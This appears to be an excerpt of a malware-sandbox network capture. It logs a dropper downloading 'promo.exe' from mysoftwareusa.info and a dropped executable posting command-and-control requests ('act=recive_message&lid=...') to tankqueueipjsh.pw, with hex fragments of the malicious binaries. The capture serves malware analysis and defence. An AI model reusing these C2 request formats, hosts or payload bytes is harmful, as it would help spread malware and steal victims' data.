00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 24 9e 05 00 00 40 0d 00 00 a0 05 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 12 00 00 76 00 00 00 94 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELDje"Zw@`@@@d\|@$u4@.text `.rdata@@.datalpH@.rsrc$@@@.relocuv@B
Dec 6, 2023 14:52:36.660609007 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYV
Dec 6, 2023 14:52:36.660643101 CET	1340	IN	Data Raw: 04 00 00 8b 03 8b 40 04 03 c7 83 b8 98 fb ff ff 00 75 ce ff 15 6c c8 49 00 8b 4f e0 85 c9 0f 85 6b 10 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a Data Ascii: @ulIOkOu3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@
Dec 6, 2023 14:52:36.660655975 CET	1340	IN	Data Raw: b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Dec 6, 2023 14:52:36.660685062 CET	1340	IN	Data Raw: 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 8b 7d 08 8d 45 ff 50 8d 45 f8 c7 45 f8 01 00 00 00 50 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 Data Ascii: uUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH
Dec 6, 2023 14:52:36.660746098 CET	1340	IN	Data Raw: 84 8b 04 04 00 8b 55 f8 8b 5d fc 83 e8 01 0f 85 ba fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 Data Ascii: U]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9H
Dec 6, 2023 14:52:36.660782099 CET	534	IN	Data Raw: d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 10 89 41 1c 89 51 18 89 41 2c 8b c1 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 Data Ascii: F O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,F
Dec 6, 2023 14:52:36.660866976 CET	1340	IN	Data Raw: 00 50 68 ff 7f 00 00 ff 35 18 14 4d 00 ff 15 68 c3 49 00 ff 74 24 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 34 01 00 00 Data Ascii: Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5X
Dec 6, 2023 14:52:36.660883904 CET	1340	IN	Data Raw: 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 8d 45 e0 50 57 e8 8f 40 00 00 83 c4 10 8d 4d e0 e8 74 9f 00 00 85 f6 7e 35 8d 45 f0 50 8d Data Ascii: M3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$
Dec 6, 2023 14:52:36.660896063 CET	1340	IN	Data Raw: 05 e0 23 4d 00 3c c9 49 00 89 1d e4 23 4d 00 89 1d e8 23 4d 00 89 1d ec 23 4d 00 c7 05 f0 23 4d 00 66 00 00 00 e8 4e 74 00 00 8d 4c 24 28 e8 3e 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 Data Ascii: #M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(
Dec 6, 2023 14:52:36.840147972 CET	1340	IN	Data Raw: 34 01 00 00 50 e8 8a 0f 02 00 59 59 8d 84 24 18 01 00 00 50 56 ff 15 d0 c4 49 00 8d 4c 24 08 e8 7c 5e 00 00 5e 8b e5 5d c3 55 8b ec 56 8b 75 08 57 8b f9 85 f6 74 15 8d 46 ff 50 52 57 e8 ba 98 02 00 83 c4 0c 33 c0 66 89 44 77 fe 5f 5e 5d c3 55 8b Data Ascii: 4PYY$PVIL$\|^^]UVuWtFPRW3fDw_^]UQM;sH]PUVhPjIPM&bMM]^UVjPh1hItP}0hhI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50160	37.1.198.251	80	5564	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:38.843319893 CET	147	OUT	GET /stats/3/0/0 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: mysoftwareusa.info
Dec 6, 2023 14:52:39.203223944 CET	441	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 192 Connection: keep-alive Vary: Accept-Encoding Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Dec 6, 2023 14:52:39.221637964 CET	147	OUT	GET /stats/3/1/0 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: mysoftwareusa.info
Dec 6, 2023 14:52:39.581283092 CET	441	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 192 Connection: keep-alive Vary: Accept-Encoding Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Dec 6, 2023 14:52:39.589330912 CET	146	OUT	GET /archives/5 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: mysoftwareusa.info
Dec 6, 2023 14:52:39.896316051 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:39 GMT Content-Type: application/octet-stream Content-Length: 2713088 Connection: keep-alive Content-Disposition: attachment; filename=promo.exe Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 da fa 65 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 94 06 00 00 8c 03 00 00 00 00 00 00 50 6a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 6a 00 00 04 00 00 f0 74 29 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 60 0a 00 95 00 00 00 00 30 08 00 6a 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 0a 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 08 00 00 10 00 00 00 6e 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6a 24 02 00 00 30 08 00 00 10 01 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 0a 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 3b 00 00 70 0a 00 00 02 00 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 62 65 79 74 7a 6b 00 e0 24 00 00 70 45 00 00 d2 24 00 00 92 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6b 7a 6e 70 66 74 62 00 10 00 00 00 50 6a 00 00 02 00 00 00 64 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELeePj@`jt)@m`0j$a n@.rsrcj$0~@.idata `@ ;p@jebeytzk$pE$@ukznpftbPjd)@
Dec 6, 2023 14:52:39.896380901 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:52:39.896405935 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:52:39.896419048 CET	296	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:52:39.896513939 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Yxp
Dec 6, 2023 14:52:39.896611929 CET	1340	IN	Data Raw: 71 37 76 67 11 7a 8a 8f 4e d3 9e 87 fa a1 3f 43 80 a0 6f 0e bf 2b 93 7c 45 b7 06 bd e2 03 6a 16 51 01 b1 11 17 3b e9 af 5b cf a5 f9 53 74 a9 1d d2 43 87 99 d5 71 0e 8d da bd cd d8 1a 8c 36 77 e1 37 28 d8 99 14 b9 fb f6 84 cb bc 5e dc 8c f5 71 1c Data Ascii: q7vgzN?Co+\|EjQ;[StCq6w7(^q^'0(lm}4$Hcm]+4W"YC/i5=Lh!jorJ{1l p0^5dVOxUc~\p
Dec 6, 2023 14:52:39.896684885 CET	1340	IN	Data Raw: f0 a7 80 cd aa 63 db ab 49 ae 5d ec a7 99 7a a9 37 bd e8 bc f5 af bb a8 0c 9a 4e 6d 02 9d de 40 3a 23 1f 18 17 57 00 55 e6 47 d6 71 af 63 22 74 da 3e b9 58 41 7a a3 ce 1d 07 2b 96 cd 5c 29 ad 87 a5 00 01 45 fb 86 5d c6 c9 7f de cb db 82 26 a7 95 Data Ascii: cI]z7Nm@:#WUGqc"t>XAz+\)E]&Zjjx7X IIyFahCqDfhL8H%`gH\_},qiO; \|pY<Gpgw^~4gF*^"ndFy}
Dec 6, 2023 14:52:39.896749973 CET	1340	IN	Data Raw: f9 b5 08 c8 ed 24 b0 19 ac db 50 a8 45 b7 38 c6 be 96 ce d7 43 f4 a3 cf 3e 7c e8 9f 67 f0 0e e5 99 9d 4d e3 7f 95 16 29 33 d6 f5 dd 07 c4 f7 b9 30 83 0e 6d d5 aa 06 bb 2f 25 06 b4 06 58 76 b4 df 65 aa 1a 6b 89 35 55 5f 75 05 76 44 ac f6 53 d9 de Data Ascii: $PE8C>\|gM)30m/%Xvek5U_uvDSEi%?de%*qVc\hmm\|"Y:X#X<oVxB?[<5=f[BKZ\|}ld+I\| _f.BAn>J]
Dec 6, 2023 14:52:39.896805048 CET	1340	IN	Data Raw: 3f 30 ed c8 fd 10 09 09 7c 8a 18 9f 52 3a 99 7a 33 13 df 17 34 ee da c3 79 4a 04 f6 76 8f e3 3b db 5b 1c 53 a2 82 b1 a3 8c c9 a2 92 f8 e7 4c aa 23 a8 c6 87 f7 8b 9a 29 33 e6 2b 68 2d f5 ce 3b 46 e9 d4 b5 ae 8f 9e a3 f8 d7 35 12 ad 93 bf 15 e2 eb Data Ascii: ?0\|R:z34yJv;[SL#)3+h-;F5uc0<mrG1Ghv!\_~XQ+4nUk}R0uYDXgJt52<Z!pUuj!-HM{=l/yFaa8[SOQ^
Dec 6, 2023 14:52:39.896856070 CET	1340	IN	Data Raw: 9d 99 07 49 38 b7 ee e1 a0 ea 16 b4 bb e1 fe cc 0f 0d 99 51 55 aa db be 7a 9d 5e 8f 1c c4 21 92 79 bb 03 8e 2d b2 db 1c 54 aa cd c2 d7 c5 67 f9 61 28 8c 5b c2 a2 55 7f 60 c0 3e 4c 00 19 03 7d f7 29 82 31 b8 3a ea b0 bf 6e 91 18 61 c5 93 0d d8 dc Data Ascii: I8QUz^!y-Tga([U`>L})1:naU9qoifp%)3@BF)Y,oQl>pO+j}wp:sDm>B {7 f=Vg>fVL"tAdo\1/igg`\|f.
Dec 6, 2023 14:52:40.076694965 CET	1340	IN	Data Raw: a0 c5 4e 24 36 55 df 9b 66 61 fd 59 0e 4e 9e c0 c5 80 c7 61 f3 ad a4 b3 3a 61 5c 5e e1 0e b1 0a 30 77 43 dc 1f a9 98 68 af 91 74 ce 08 57 e2 e5 78 97 43 dc cd 75 ef 42 ff da ba ec 06 b8 1e 15 52 9d e8 94 0f 47 62 f2 4f 66 b3 84 19 d5 b6 c8 fc ea Data Ascii: N$6UfaYNa:a\^0wChtWxCuBRGbOf#H):gP `9!d*V>}-@_Vx78Jwe1,_(J[JKE % G.!9jp.Gd?k'g,HJ93Ws3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50171	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:52.796842098 CET	318	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:52.796885014 CET	62	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 6, 2023 14:52:53.143456936 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=i15uruq1nhm9nbi3qul3emcmu8; expires=Sun, 31 Mar 2024 07:39:32 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DMrcDiM3T89VNblg7cnsjBJEuAY3TwvzWfqej49EzbJKVmvSJHU5zrpmDtzvpGK11sKYghNc7HwDpjpfZqgjILE9EUQ2ERlOe1WcXzdvxFEh1QJgQ7%2Fy0VBmTt6C%2BFfpAmqEFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:52:53.143501043 CET	98	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 30 61 33 66 31 65 39 63 32 61 2d 49 41 44 0d 0a 0d 0a 32 0d 0a 6f 6b 0d 0a Data Ascii: areCF-RAY: 8315030a3f1e9c2a-IAD2ok
Dec 6, 2023 14:52:53.143536091 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 6, 2023 14:52:53.146992922 CET	319	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 72 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:53.147047043 CET	126	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 4d 65 44 4e 4e 31 26 6a 3d 65 32 31 31 30 62 33 32 32 35 31 39 31 34 66 36 63 31 30 36 30 34 64 35 31 62 38 39 66 37 61 61 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=MeDNN1&j=e2110b32251914f6c10604d51b89f7aa&ver=4.0
Dec 6, 2023 14:52:53.414052963 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=tn68jkjcp9uuqff7f0de6erd8c; expires=Sun, 31 Mar 2024 07:39:32 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RPj83uzDyjkMBP1e3icsuLyDSz3gjN9gJwLwhtBuy%2BCwh8ROB5JDxcUoDAuNT%2B%2BZBRXB%2FaYe27Z2Hn0z1GnfaxmezkNBe9JHEliXVkKU1vUXs0KyReMCI2VnJG3AfpX0uHUaQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:52:53.414105892 CET	1340	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 30 63 36 39 38 37 39 63 32 61 2d 49 41 44 0d 0a 0d 0a 39 64 34 0d 0a 38 64 73 31 41 7a 32 7a 56 50 72 38 45 56 2f 74 71 6a 4c 35 5a 67 6b 4d 2b 4b 56 73 57 74 6f 6d 4d 2f 53 41 Data Ascii: udflareCF-RAY: 8315030c69879c2a-IAD9d48ds1Az2zVPr8EV/tqjL5ZgkM+KVsWtomM/SAOV89iP+K+UMhB4d42I90fdfMU5UVbCDaxAh44FJBgeUVfVjw3cuATiFY3XbA3nQ1j8temwdiY4jJDzK2QVuR410+UeWalL5UaVPaOZKRM3PPz0jbXCtBndENF7tVWNb9FSQf7ZHT4RdtVtE9kppzOoLNU5wHZmmQy
Dec 6, 2023 14:52:53.414144993 CET	1332	IN	Data Raw: 46 32 70 71 33 79 44 59 67 54 30 6b 7a 38 39 63 32 31 77 72 5a 35 50 56 41 44 61 78 53 56 65 65 35 56 55 77 56 4f 79 57 6c 4c 35 52 62 46 66 63 4d 35 75 66 64 7a 65 64 79 31 75 52 43 57 45 75 31 49 63 4a 49 50 67 63 45 62 48 75 63 69 31 45 2b 49 Data Ascii: F2pq3yDYgT0kz89c21wrZ5PVADaxSVee5VUwVOyWlL5RbFfcM5ufdzedy1uRCWEu1IcJIPgcEbHuci1E+IvTphl4H9Y62MYzPoDBX5MMZGGeyQg+tUFenPBTM1LhkpirV2xb3TKQlXl9wYhXg0QzLq/KATi7UhGJrEJ9WObdy/lbb1/eOpSVezyDxleeDWNmiMYKMLlKXpfmXjhb7ZmVthcvH9Yu2MYzEqj9Ero+K3HU3k4/tAQ
